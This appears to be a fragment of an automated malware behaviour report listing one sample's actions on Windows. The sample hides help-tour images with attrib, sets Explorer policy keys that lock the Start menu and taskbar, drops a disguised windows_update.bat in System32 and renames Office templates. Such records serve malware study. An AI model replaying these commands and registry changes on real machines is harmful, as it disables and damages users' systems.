- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Zapotec.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_robust_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_robust_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_road_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_robust.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\end_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\folder_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\desktop_screen_shot.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\desktop_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img004b.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img014.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\gradient.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\icon_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_networks_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_networks_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_multiple_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_networks.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_wizard_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\control_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_wizard.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_wizard_big.jpg"
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuMorePrograms' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetTaskbar' = '00000001'
- <SYSTEM32>\windows_update.bat
- <SYSTEM32>\windows_update.bat
- from <SYSTEM32>\config\systemprofile\Templates\excel.xls to <SYSTEM32>\config\systemprofile\Templates\excel.systeme
- from <SYSTEM32>\config\systemprofile\Templates\excel4.xls to <SYSTEM32>\config\systemprofile\Templates\excel4.systeme
- from <SYSTEM32>\config\systemprofile\Templates\winword.doc to <SYSTEM32>\config\systemprofile\Templates\winword.system
- from <SYSTEM32>\config\systemprofile\Templates\winword2.doc to <SYSTEM32>\config\systemprofile\Templates\winword2.system